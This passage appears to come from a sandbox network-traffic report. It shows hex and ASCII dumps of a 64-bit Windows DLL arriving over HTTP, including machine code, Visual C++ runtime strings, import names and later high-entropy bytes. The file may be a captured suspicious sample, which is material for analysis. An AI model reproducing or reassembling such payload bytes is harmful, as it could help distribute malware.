04 00 00 e8 18 Data Ascii: $HD$P%tD$T0$QD$UD$\!D$HD$P%tD$PD$PD$P%tH$XWH$8D$P%tH$XVH$8D$P t@D$P@tH$XXVHH$8H$X=VH$8;D$P@tH$X
2022-05-23 07:19:16 UTC	114	IN	Data Raw: 31 65 36 33 0d 0a 8c 00 00 00 48 8b 44 24 48 8b 40 08 ff c8 89 44 24 20 48 8b 44 24 48 8b 4c 24 20 89 48 08 83 7c 24 20 00 7c 32 48 8b 44 24 48 48 8b 00 0f b6 4c 24 40 88 08 0f be 44 24 40 25 ff 00 00 00 89 44 24 24 48 8b 44 24 48 48 8b 00 48 ff c0 48 8b 4c 24 48 48 89 01 eb 15 0f be 44 24 40 48 8b 54 24 48 8b c8 e8 fa 4b ff ff 89 44 24 24 83 7c 24 24 ff 75 0d 48 8b 44 24 50 c7 00 ff ff ff ff eb 10 48 8b 44 24 50 8b 00 ff c0 48 8b 4c 24 50 89 01 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 4c 89 44 24 18 89 54 24 10 88 4c 24 08 48 83 ec 28 8b 44 24 38 8b 4c 24 38 ff c9 89 4c 24 38 85 c0 7e 22 4c 8b 44 24 48 48 8b 54 24 40 0f b6 4c 24 30 e8 e4 fe ff ff 48 8b 44 24 48 83 38 ff 75 02 eb 02 eb cc 48 83 c4 28 c3 cc 4c 89 4c 24 20 4c 89 Data Ascii: 1e63HD$H@D$ HD$HL$ H\|$ \|2HD$HHL$@D$@%D$$HD$HHHHL$HHD$@HT$HKD$$\|$$uHD$PHD$PHL$PH8LL$ LD$T$L$H(D$8L$8L$8~"LD$HHT$@L$0HD$H8uH(LL$ L
2022-05-23 07:19:16 UTC	118	IN	Data Raw: 8b 44 24 50 0f ba f0 0f 89 44 24 50 eb 72 48 8b 84 24 08 06 00 00 0f b7 00 83 f8 64 74 50 48 8b 84 24 08 06 00 00 0f b7 00 83 f8 69 74 40 48 8b 84 24 08 06 00 00 0f b7 00 83 f8 6f 74 30 48 8b 84 24 08 06 00 00 0f b7 00 83 f8 75 74 20 48 8b 84 24 08 06 00 00 0f b7 00 83 f8 78 74 10 48 8b 84 24 08 06 00 00 0f b7 00 83 f8 58 75 02 eb 10 c7 84 24 c0 04 00 00 00 00 00 00 e9 d4 fc ff ff eb 19 8b 44 24 50 83 c8 20 89 44 24 50 eb 0c 8b 44 24 50 0f ba e8 0b 89 44 24 50 e9 0f 0d 00 00 0f b7 84 24 b8 04 00 00 89 84 24 84 05 00 00 8b 84 24 84 05 00 00 83 e8 41 89 84 24 84 05 00 00 83 bc 24 84 05 00 00 37 0f 87 6f 0a 00 00 48 63 84 24 84 05 00 00 48 8d 0d 36 20 fe ff 0f b6 84 01 04 ee 01 00 8b 84 81 c8 ed 01 00 48 03 c1 ff e0 8b 44 24 50 25 30 08 00 00 85 c0 75 0b 8b Data Ascii: D$PD$PrH$dtPH$it@H$ot0H$ut H$xtH$Xu$D$P D$PD$PD$P$$$A$$7oHc$H6 HD$P%0u
2022-05-23 07:19:16 UTC	121	IN	Data Raw: 31 61 64 36 0d 0a 05 00 00 89 84 24 40 05 00 00 83 bc 24 40 05 00 00 00 75 2e 48 8d 05 84 97 00 00 48 89 44 24 20 45 33 c9 41 b8 f5 08 00 00 48 8d 15 1f 86 00 00 b9 02 00 00 00 e8 a5 c6 fe ff 83 f8 01 75 03 cc 33 c0 83 bc 24 40 05 00 00 00 75 52 e8 0e be fe ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 f5 08 00 00 4c 8d 05 e2 85 00 00 48 8d 15 4b 99 00 00 48 8d 0d 24 97 00 00 e8 1f d0 fe ff c7 84 24 60 05 00 00 ff ff ff ff 48 8d 4c 24 78 e8 9a 7a fe ff 8b 84 24 60 05 00 00 eb 1f 8b 84 24 b0 04 00 00 89 84 24 64 05 00 00 48 8d 4c 24 78 e8 79 7a fe ff 8b 84 24 64 05 00 00 48 8b 8c 24 e8 05 00 00 48 33 cc e8 e2 44 fe ff 48 81 c4 f8 05 00 00 c3 66 90 41 dc 01 00 6b dc 01 00 a8 dc 01 00 30 dd 01 00 88 dd 01 00 95 dd 01 00 e0 dd 01 00 8d df 01 00 24 e4 Data Ascii: 1ad6$@$@u.HHD$ E3AHu3$@uRHD$ ALHKH$$`HL$xz$`$$dHL$xyz$dH$H3DHfAk0$
2022-05-23 07:19:16 UTC	125	IN	Data Raw: 00 00 00 00 e9 38 ff ff ff b9 01 00 00 00 e8 fd 95 fe ff 8b 44 24 20 48 83 c4 38 c3 cc cc cc cc 48 89 4c 24 08 48 83 ec 38 48 83 7c 24 40 00 75 09 33 c9 e8 78 01 00 00 eb 55 48 8b 4c 24 40 e8 5c 00 00 00 85 c0 74 07 b8 ff ff ff ff eb 40 48 8b 44 24 40 8b 40 18 25 00 40 00 00 85 c0 74 2d 48 8b 4c 24 40 e8 f6 b1 ff ff 8b c8 e8 ff 09 00 00 85 c0 74 0a c7 44 24 20 ff ff ff ff eb 08 c7 44 24 20 00 00 00 00 8b 44 24 20 eb 02 33 c0 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 38 c7 44 24 20 00 00 00 00 48 8b 44 24 40 48 89 44 24 28 48 8b 44 24 28 8b 40 18 83 e0 03 83 f8 02 0f 85 9a 00 00 00 48 8b 44 24 28 8b 40 18 25 08 01 00 00 85 c0 0f 84 85 00 00 00 48 8b 44 24 28 48 8b 4c 24 28 48 8b 49 10 48 8b 00 48 2b c1 89 44 24 24 83 7c 24 Data Ascii: 8D$ H8HL$H8H\|$@u3xUHL$@\t@HD$@@%@t-HL$@tD$ D$ D$ 3H8HL$H8D$ HD$@HD$(HD$(@HD$(@%HD$(HL$(HIHH+D$$\|$
2022-05-23 07:19:16 UTC	128	IN	Data Raw: 32 30 38 38 0d 0a 00 00 00 00 48 8b 44 24 30 c7 40 18 00 00 00 00 8b 44 24 38 48 83 c4 58 c3 89 4c 24 08 48 83 ec 58 48 63 44 24 60 48 83 f8 fe 75 15 e8 58 a3 fe ff c7 00 09 00 00 00 b8 ff ff ff ff e9 33 02 00 00 83 7c 24 60 00 7c 16 8b 05 4f dd 00 00 39 44 24 60 73 0a c7 44 24 3c 01 00 00 00 eb 08 c7 44 24 3c 00 00 00 00 8b 44 24 3c 89 44 24 34 83 7c 24 34 00 75 2e 48 8d 05 ad 82 00 00 48 89 44 24 20 45 33 c9 41 b8 2c 00 00 00 48 8d 15 28 82 00 00 b9 02 00 00 00 e8 6e ab fe ff 83 f8 01 75 03 cc 33 c0 83 7c 24 34 00 75 3e e8 da a2 fe ff c7 00 09 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 2c 00 00 00 4c 8d 05 ee 81 00 00 48 8d 15 cf 81 00 00 48 8d 0d 50 82 00 00 e8 eb b4 fe ff b8 ff ff ff ff e9 8c 01 00 00 8b 44 24 60 c1 f8 05 48 98 48 8d 0d c1 dc 00 00 8b Data Ascii: 2088HD$0@D$8HXL$HXHcD$`HuX3\|$`\|O9D$`sD$<D$<D$<D$4\|$4u.HHD$ E3A,H(nu3\|$4u>HD$ A,LHHPD$`HH
2022-05-23 07:19:16 UTC	132	IN	Data Raw: 73 65 6c 66 5f 36 34 5f 61 6d 64 36 34 5c 63 72 74 5c 73 72 63 5c 74 69 64 74 61 62 6c 65 2e 63 00 00 43 6c 69 65 6e 74 00 00 49 67 6e 6f 72 65 00 00 43 52 54 00 4e 6f 72 6d 61 6c 00 00 46 72 65 65 00 00 00 00 00 00 00 00 64 24 02 80 01 00 00 00 5c 24 02 80 01 00 00 00 58 24 02 80 01 00 00 00 50 24 02 80 01 00 00 00 48 24 02 80 01 00 00 00 45 72 72 6f 72 3a 20 6d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 69 6f 6e 3a 20 62 61 64 20 6d 65 6d 6f 72 79 20 62 6c 6f 63 6b 20 74 79 70 65 2e 0a 00 00 00 00 00 00 00 49 6e 76 61 6c 69 64 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 73 69 7a 65 3a 20 25 49 75 20 62 79 74 65 73 2e 0a 00 00 00 00 25 73 00 00 00 00 00 00 43 6c 69 65 6e 74 20 68 6f 6f 6b 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 66 61 69 6c 75 72 65 2e 0a 00 00 00 00 00 Data Ascii: self_64_amd64\crt\src\tidtable.cClientIgnoreCRTNormalFreed$\$X$P$H$Error: memory allocation: bad memory block type.Invalid allocation size: %Iu bytes.%sClient hook allocation failure.
2022-05-23 07:19:16 UTC	136	IN	Data Raw: 31 32 32 39 0d 0a 00 64 00 6c 00 6c 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 36 34 5f 61 6d 64 36 34 5c 63 72 74 5c 73 72 63 5c 69 6f 69 6e 69 74 2e 63 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 28 00 2a 00 65 00 6e 00 76 00 2c 00 20 00 63 00 63 00 68 00 61 00 72 00 73 00 2c 00 20 00 70 00 29 00 00 00 00 00 00 00 5f 00 73 00 65 00 74 00 65 00 6e 00 76 00 70 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 73 00 74 00 64 00 65 00 6e 00 76 00 70 00 2e 00 Data Ascii: 1229dllf:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.cstrcpy_s(*env, cchars, p)_setenvpf:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdenvp.
2022-05-23 07:19:16 UTC	140	IN	Data Raw: 69 00 6c 00 75 00 72 00 65 00 2c 00 20 00 73 00 65 00 65 00 20 00 74 00 68 00 65 00 20 00 56 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 61 00 73 00 73 00 65 00 72 00 74 00 73 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 77 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 45 00 78 00 65 00 4e 00 61 00 6d 00 65 00 2c 00 20 00 32 00 36 00 30 00 2c 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 6e 00 3e 00 22 00 29 00 00 00 5f 00 5f 00 63 00 72 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 57 Data Ascii: ilure, see the Visual C++ documentation on asserts.wcscpy_s(szExeName, 260, L"<program name unknown>")__crtMessageWindowW
2022-05-23 07:19:16 UTC	141	IN	Data Raw: 37 66 65 61 0d 0a 65 00 78 00 70 00 61 00 6e 00 64 00 2e 00 63 00 00 00 00 00 00 00 00 00 70 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 28 00 66 00 6f 00 72 00 6d 00 61 00 74 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 69 00 73 00 63 00 74 00 79 00 70 00 65 00 2e 00 63 00 00 00 00 00 00 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 28 00 63 00 20 00 2b 00 20 00 31 00 29 Data Ascii: 7feaexpand.cpBlock != NULL(format != NULL)f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c(unsigned)(c + 1)
2022-05-23 07:19:16 UTC	145	IN	Data Raw: 00 28 00 28 00 28 00 5f 00 53 00 72 00 63 00 29 00 29 00 29 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 74 00 63 00 73 00 63 00 70 00 79 00 5f 00 73 00 2e 00 69 00 6e 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 00 28 00 5f 00 44 00 73 00 74 00 29 00 29 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 20 00 26 00 26 00 20 00 28 00 28 00 5f 00 53 00 69 00 7a 00 65 00 Data Ascii: (((_Src))) != NULLstrcpy_sf:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl((_Dst)) != NULL && ((_Size
2022-05-23 07:19:16 UTC	149	IN	Data Raw: 34 00 30 00 39 00 36 00 2c 00 20 00 31 00 30 00 29 00 00 00 5f 00 56 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 41 00 00 00 77 00 63 00 73 00 74 00 6f 00 6d 00 62 00 73 00 5f 00 73 00 28 00 26 00 72 00 65 00 74 00 2c 00 20 00 73 00 7a 00 61 00 4f 00 75 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 00 73 00 7a 00 4f 00 75 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 2c 00 20 00 28 00 28 00 73 00 69 00 7a 00 65 00 5f 00 74 00 29 00 2d 00 31 00 29 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 00 74 00 72 00 63 00 70 00 79 00 5f 00 73 00 28 00 73 00 7a 00 4f 00 75 00 74 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 32 00 2c 00 20 00 34 00 30 00 39 00 36 00 2c 00 20 Data Ascii: 4096, 10)_VCrtDbgReportAwcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))strcpy_s(szOutMessage2, 4096,
2022-05-23 07:19:16 UTC	153	IN	Data Raw: 00 72 00 63 00 5c 00 74 00 63 00 73 00 63 00 61 00 74 00 5f 00 73 00 2e 00 69 00 6e 00 6c 00 00 00 00 00 00 00 00 00 77 00 63 00 73 00 6e 00 63 00 70 00 79 00 5f 00 73 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 74 00 63 00 73 00 6e 00 63 00 70 00 79 00 5f 00 73 00 2e 00 69 00 6e 00 6c 00 00 00 00 00 00 00 b0 5a 01 80 01 00 00 00 62 61 64 20 65 78 63 65 70 74 69 6f 6e 00 00 00 90 95 02 80 01 00 00 00 e0 48 01 80 01 00 00 00 20 d6 01 80 01 00 00 00 5f 00 6d 00 62 00 73 00 74 00 6f 00 77 00 63 00 73 00 5f 00 6c 00 5f 00 Data Ascii: rc\tcscat_s.inlwcsncpy_sf:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inlZbad exceptionH _mbstowcs_l_
2022-05-23 07:19:16 UTC	157	IN	Data Raw: 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 6f 00 73 00 66 00 69 00 6e 00 66 00 6f 00 2e 00 63 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 70 00 72 00 65 00 62 00 75 00 69 00 6c 00 64 00 5c 00 65 00 68 00 5c 00 74 00 79 00 70 00 6e 00 61 00 6d 00 65 00 2e 00 63 00 70 00 70 00 00 00 70 00 4e 00 6f 00 64 00 65 00 2d 00 3e 00 5f 00 4e 00 65 00 78 00 74 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 00 00 00 00 00 00 43 00 4f 00 4e Data Ascii: ld\self_64_amd64\crt\src\osfinfo.cf:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpppNode->_Next != NULLCON
2022-05-23 07:19:16 UTC	161	IN	Data Raw: 00 70 38 00 00 01 00 00 00 30 5b 00 00 0a 5c 00 00 10 13 02 00 00 00 00 00 01 06 02 00 06 92 02 50 11 07 02 00 07 01 11 00 70 38 00 00 01 00 00 00 99 5c 00 00 f7 61 00 00 00 0f 02 00 00 00 00 00 11 08 01 00 08 82 00 00 70 38 00 00 01 00 00 00 d6 62 00 00 24 63 00 00 10 13 02 00 00 00 00 00 01 12 01 00 12 22 00 00 11 09 01 00 09 c2 00 00 70 38 00 00 01 00 00 00 8b 64 00 00 4b 66 00 00 20 0f 02 00 00 00 00 00 01 10 03 00 10 62 0c 70 0b 60 00 00 11 0e 01 00 0e a2 00 00 70 38 00 00 01 00 00 00 72 68 00 00 a6 6b 00 00 20 0f 02 00 00 00 00 00 19 23 02 00 11 01 1f 00 30 31 00 00 e0 00 00 00 01 16 01 00 16 62 00 00 19 19 02 00 07 01 19 00 30 31 00 00 b0 00 00 00 01 08 01 00 08 62 00 00 11 11 01 00 11 c2 00 00 70 38 00 00 01 00 00 00 97 72 00 00 4f 74 00 00 40 0f Data Ascii: p80[\Pp8\ap8b$c"p8dKf bp`p8rhk #01b01bp8rOt@
2022-05-23 07:19:16 UTC	165	IN	Data Raw: 65 57 00 00 da 02 48 65 61 70 52 65 41 6c 6c 6f 63 00 d9 02 48 65 61 70 51 75 65 72 79 49 6e 66 6f 72 6d 61 74 69 6f 6e 00 00 d7 02 48 65 61 70 46 72 65 65 00 00 34 05 57 72 69 74 65 46 69 6c 65 00 41 03 4c 6f 61 64 4c 69 62 72 61 72 79 57 00 00 2f 03 4c 43 4d 61 70 53 74 72 69 6e 67 57 00 00 69 03 4d 75 6c 74 69 42 79 74 65 54 6f 57 69 64 65 43 68 61 72 00 70 02 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 00 00 8b 03 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 41 00 00 33 05 57 72 69 74 65 43 6f 6e 73 6f 6c 65 57 00 8c 03 4f 75 74 70 75 74 44 65 62 75 67 53 74 72 69 6e 67 57 00 00 b4 03 52 61 69 73 65 45 78 63 65 70 74 69 6f 6e 00 00 21 04 52 74 6c 50 63 54 6f 46 69 6c 65 48 65 61 64 65 72 00 74 04 53 65 74 46 69 6c 65 50 6f 69 6e 74 65 72 00 00 a0 Data Ascii: eWHeapReAllocHeapQueryInformationHeapFree4WriteFileALoadLibraryW/LCMapStringWiMultiByteToWideCharpGetStringTypeWOutputDebugStringA3WriteConsoleWOutputDebugStringWRaiseException!RtlPcToFileHeadertSetFilePointer
2022-05-23 07:19:16 UTC	170	IN	Data Raw: 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 60 2c 01 80 01 00 00 00 2e 00 00 00 2e 00 00 00 50 be 02 80 01 00 00 00 40 be 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 08 d4 02 80 01 00 00 00 7f 7f 7f 7f 7f 7f 7f 7f 44 be 02 80 01 00 00 00 0c d4 02 80 01 00 00 00 0c d4 02 80 01 00 00 00 0c d4 02 80 01 00 00 00 0c d4 02 80 01 00 00 00 0c d4 02 80 01 00 00 00 0c d4 02 80 01 00 00 00 0c d4 02 80 01 00 00 00 20 59 02 80 01 00 00 00 22 5b 02 80 Data Ascii: `,`,`,`,`,`,`,`,`,..P@D Y"[
2022-05-23 07:19:16 UTC	173	IN	Data Raw: 37 64 30 61 0d 0a 00 00 0c 9c 02 00 00 cb 00 00 17 cf 00 00 14 9c 02 00 20 cf 00 00 42 cf 00 00 0c 9f 02 00 50 cf 00 00 7d cf 00 00 24 9c 02 00 80 cf 00 00 ae cf 00 00 44 9c 02 00 f0 cf 00 00 99 d3 00 00 64 9c 02 00 a0 d3 00 00 25 d4 00 00 14 a0 02 00 30 d4 00 00 46 d4 00 00 bc 9c 02 00 90 d4 00 00 00 d9 00 00 d0 9d 02 00 10 d9 00 00 b8 d9 00 00 88 9c 02 00 c0 d9 00 00 e1 d9 00 00 f0 99 02 00 f0 d9 00 00 ba da 00 00 8c 9c 02 00 c0 da 00 00 0e e2 00 00 0c 9f 02 00 10 e2 00 00 e2 e2 00 00 0c 9f 02 00 f0 e2 00 00 fe e4 00 00 0c 9f 02 00 00 e5 00 00 7f e6 00 00 6c 9e 02 00 80 e6 00 00 95 e6 00 00 bc 9c 02 00 a0 e6 00 00 b5 e6 00 00 bc 9c 02 00 c0 e6 00 00 df e6 00 00 0c 9f 02 00 e0 e6 00 00 ff e6 00 00 0c 9f 02 00 00 e7 00 00 8c e7 00 00 c4 9c 02 00 90 e7 00 Data Ascii: 7d0a BP}$Dd%0Fl
2022-05-23 07:19:16 UTC	177	IN	Data Raw: b6 13 25 e3 1b 5d 4d a6 cb 0e 6f 6b d0 26 0d a6 97 da 28 11 52 ce 39 f1 d2 7f d9 54 6a a6 99 6e ea 0f 46 10 f7 2b 41 13 22 0d af 6f ac 23 41 01 96 b1 4a 39 e0 67 4c 20 b9 d0 40 a0 8f a1 3f 87 f0 9f 60 c9 68 7b 59 d0 88 ae 2b 4a ab 1c 6c 0a d2 c5 51 6c be 32 67 15 fa 2e 42 7c ad 80 31 7a 6a 2b ca 67 4b cb 5d 65 7f be f7 2d e7 af 27 3e 69 85 c4 1d ba 87 33 af 44 6a 11 69 8f 5f 48 fb 09 15 52 a6 ea 22 5f be 2d 7c 70 23 b1 ad 68 c9 6e 42 7a 6b 99 35 76 0f be b0 ab 0a 7c 65 7a e6 3c 4e 43 7b ee cb 89 de 11 13 15 67 b1 61 6b ec 21 05 5a ad 11 1d 4b ec 2c 24 7e 19 a3 b0 1e 8f 38 69 47 be 59 1b e3 1b 5d 41 2b 57 ed 0e ed 2c 6c 12 11 92 fe 28 f2 32 67 15 8e 10 9d 58 c4 06 43 58 b4 de 11 cc b5 3a 7b 45 a7 20 44 63 e5 1f 43 45 c0 6c d8 fb b2 2f 0f 48 89 0a 15 4b e1 Data Ascii: %]Mok&(R9TjnF+A"o#AJ9gL @?`h{Y+JlQl2g.B\|1zj+gK]e-'>i3Dji_HR"_-\|p#hnBzk5v\|ez<NC{gak!ZK,$~8iGY]A+W,l(2gXCX:{E DcCEl/HK
2022-05-23 07:19:16 UTC	181	IN	Data Raw: 50 fd c7 a4 af d4 86 d6 93 b7 d5 aa 96 9d 20 be aa 0a bc 2a 62 2f d1 2e 62 2e f1 19 7b 0a eb 4f 56 1e 33 7f b6 d0 05 ef ef 43 dd 21 7a 24 de 8d 4f 9b 68 00 4e 79 e0 c6 7a e8 3c 4d 31 32 ed f4 00 c7 79 69 58 d9 6f 4b 62 e3 cc 0e ce 5a 51 6c bc 02 67 75 f8 2e 42 60 ce f6 43 e8 6a 63 43 2b bd 1d 97 20 be 46 fc 2c ef b2 ee 21 05 5a 6c de c3 83 bf b3 01 4e 79 e0 6f a3 e4 3e 4d f6 32 42 14 22 e1 72 69 10 d5 eb 1a 53 af 0c 0e 32 07 bc 46 35 ce e2 95 d1 ca 27 e0 1d d3 7f dd eb 17 67 36 1f 9d 7d dd b6 79 18 31 98 b8 d9 90 a0 3e 00 01 13 85 2b 68 81 3a 15 3f 9a 6d f1 c1 8a 75 52 36 1a 87 e9 79 e8 1c 74 7b 2f df 97 b7 a1 2a 7e 01 9b d4 cf 6c 65 ad 71 a7 b2 43 fb 33 5c 3a e2 07 46 64 49 c4 9a c8 b4 48 41 34 3c 6c 61 21 f1 60 71 69 e0 6f 4c 54 a6 e3 2e 68 5e 00 b5 48 Data Ascii: P b/.b.{OV3C!z$OhNyz<M12yiXoKbZQlgu.B`CjcC+ F,!ZlNyo>M2B"riS2F5'g6}y1>+h:?muR6yt{/~leqC3\:FdIHA4<la!`qioLT.h^H
2022-05-23 07:19:16 UTC	185	IN	Data Raw: db 67 4b 7a 9f a9 92 79 df ba 3d 1e bc 92 dc 72 a0 a7 b1 46 fb 2b 5c 3a e2 37 46 64 3d a9 78 37 f2 78 41 2c 9b a7 27 21 bb 48 71 71 66 aa 24 24 06 df e8 53 39 c9 48 69 79 e4 f1 79 43 98 3d 4d 18 d0 a1 d1 2a e3 04 0e 26 ad b0 d4 ee 3d 2b 1a b0 80 65 d1 11 56 27 f9 2e 47 03 11 8e 76 5f e4 73 11 7c 3c 31 94 98 e4 55 5e 64 28 0f 69 2b af 44 6a 75 55 09 1c 48 b7 01 15 32 91 a1 0f 95 a8 80 5b 9a ea 86 2f e1 04 0e 22 9b 3d 48 71 78 c2 41 55 2e 05 d3 43 72 ec 3c 4e 27 c8 26 10 36 d4 21 13 7d b7 21 40 3b 26 ee 6f 72 cc cc 66 69 2b 21 89 48 79 ee aa 2a 47 82 4c 31 76 66 f8 f2 25 7f 69 b1 fb d2 90 d5 d0 80 27 66 5a b8 cd cc 89 bc 71 f8 17 c9 9f 00 9d 47 78 6a 63 0b ef 71 89 17 ec 72 d2 74 ee 63 27 ea 28 b6 32 ad 10 f6 e0 6c 60 48 c3 7c c4 e3 1b 9f fb 09 15 3e 95 b6 Data Ascii: gKzy=rF+\:7Fd=x7xA,'!Hqqf$$S9HiyyC=M&=+eV'.Gv_s\|<1U^d(i+DjuUH2[/"=HqxAU.Cr<N'&6!}!@;&orfi+!HyGL1vf%i'fZqGxjcqrtc'(2l`H\|>
2022-05-23 07:19:16 UTC	189	IN	Data Raw: 88 c9 5f 86 c8 c7 7e 39 b1 06 0d 37 19 9f 58 c4 37 5f eb 06 63 43 e3 71 4e 55 f3 37 35 bd 10 5c 31 9e 96 21 bd 61 7d 31 a5 bf 68 c1 23 19 6f ab 33 60 35 c6 7c 5e de 0f c8 9b 37 e0 04 74 1b 98 cb a9 a2 2f de f1 fb c6 9f ff 16 1d f0 1f 4e 0f 9e 74 67 bf 2f 53 01 24 6c 76 d4 28 07 c2 dd dd cf c1 cd cf e0 90 22 dc 6c 5b a0 25 30 b9 d0 ba 80 d7 1d 0c cc 44 46 6b 80 2c 5f be 2c bc 4c 9e 08 2a a9 25 ce 6e db 24 88 81 11 43 35 b6 2f 46 51 f8 70 67 f9 27 43 8f 6e 4b b1 de 10 17 3d c5 1c a0 ea 12 45 e6 3e 22 56 b2 3e 0b e3 45 aa 3a bb e1 1b 78 78 c6 7c 5e 22 cb 61 67 f2 24 b8 d9 6f 4b 02 20 c1 56 42 7a b9 43 a6 76 43 7d fc 56 39 e1 bd c1 6c 78 83 91 b8 9d cb b1 1a 4d 32 1e e6 65 ef 26 4f dd 88 0e 40 9a ce 8a ea 82 06 f6 2e ee 81 0f c1 69 65 ba 3b 4e b7 c5 9e 93 6d Data Ascii: _~97X7_cCqNU75\1!a}1h#o3`5\|^7t/Ntg/S$lv("l[%0DFk,_,L*%n$C5/FQpg'CnK=E>"V>E:xx\|^"ag$oK VBzCvC}V9lxM2e&O@.ie;Nm
